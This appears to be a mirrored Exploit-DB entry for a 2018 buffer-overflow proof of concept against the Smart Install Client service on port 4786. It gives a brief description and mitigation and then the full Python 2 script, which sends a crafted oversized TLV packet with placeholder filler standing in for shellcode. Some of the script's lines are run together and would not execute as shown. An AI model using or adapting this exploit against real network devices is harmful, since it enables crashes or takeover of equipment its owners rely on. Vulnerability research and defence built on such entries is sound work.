smi_ibc_init_discovery_BoF.py

vendor:

Smart Install Client

by:

Anonymous

9.8

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Smart Install Client

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: N/A

2018

smi_ibc_init_discovery_BoF.py

This exploit is a buffer overflow vulnerability in the Smart Install Client. It sends a malicious packet containing a header and two TLV (Type-Length-Value) fields. The first TLV field contains a payload of 'BBBB' repeated 44 times, and the second TLV field contains a shellcode of 'D' repeated 2048 times. The header contains a data length field which is set to the length of the payload and shellcode plus 40 bytes. This causes the buffer to overflow, allowing the attacker to execute arbitrary code on the target system.

Mitigation:

Disable Smart Install Client on the target system.

Source

Exploit-DB raw data:

# smi_ibc_init_discovery_BoF.py

import socket 
import struct 
from optparse import OptionParser 

# Parse the target options 
parser = OptionParser() 
parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1")  parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786)  (options, args) = parser.parse_args() 

def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): 
    return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v 

def send_packet(sock, packet): 
    sock.send(packet)   

def receive(sock):  
    return sock.recv() 

if __name__ == "__main__": 

    print "[*] Connecting to Smart Install Client ", options.target, "port", options.port 

    con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
    con.connect((options.target, options.port)) 

    payload = 'BBBB' * 44  shellcode = 'D' * 2048 

    data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload 

    tlv_1 = craft_tlv(0x00000001, data)  tlv_2 = shellcode 

    hdr =  '\x00\x00\x00\x01'                                   # msg_from
    hdr += '\x00\x00\x00\x01'                                   # version
    hdr += '\x00\x00\x00\x07'                                   # msg_hdr_type
    hdr += struct.pack('>I', len(data))                         # data_length

    pkt = hdr + tlv_1 + tlv_2 

    print "[*] Send a malicious packet"  
    send_packet(con, pkt)